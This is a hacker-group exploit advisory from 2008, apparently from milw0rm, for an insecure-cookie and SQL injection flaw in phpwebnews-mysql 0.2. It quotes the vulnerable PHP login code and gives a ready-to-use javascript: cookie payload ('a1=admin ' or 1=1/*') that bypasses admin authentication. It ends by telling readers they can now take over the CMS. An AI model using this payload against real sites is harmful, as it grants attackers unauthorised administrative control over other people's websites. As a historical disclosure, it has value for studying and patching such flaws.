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  #                                                                                 #
  #    ...:::::phpwebnews-mysql 0.2 Insecure Cookie Handling Vulnerability ::::.... #           
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Virangar Security Team

www.virangar.net
www.virangar.ir

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Discoverd By :virangar security team(hadihadi)

special tnx :my master hadihadi

tnx to:MR.nosrati,black.shadowes,MR.hesy

& all virangar members & all hackerz
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DESCRIPTION:
phpwebnews-mysql, suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.
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vuln code in /news_manajemen/index.php: //admin area index page
line 6-11:
include('x_inc.php');

$a1 = $_COOKIE['a1'];
$a2 = $_COOKIE['a2'];

if (password_valid($a1,$a2,'')) // a function in x-inc.php
**********************
now vuln code in x-inc.php:
lin 22-39: //password_valid function codes

function password_valid($pemakai, $password, $ea)
{

if ( empty($pemakai)||empty($password) )
  return FALSE;

  // koneksi database
  $conn = db_connect();
  if (!$conn)
    {
      return FALSE;
    }

if (empty($ea))
{
    $result = mysql_query("select * from user
                         where user='$pemakai'
                         and passwd='$password'");
*******************************************************
we can do nice and funny job :D
sql injcetion white cookie values ;)
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exploit:
javascript:document.cookie = "a1=admin ' or 1=1/*; path=/;"; document.cookie = "a2=[what ever]; path=/;";
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now  you can get admin access and manage the cms ;)
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young iranian h4ck3rz

# milw0rm.com [2008-07-26]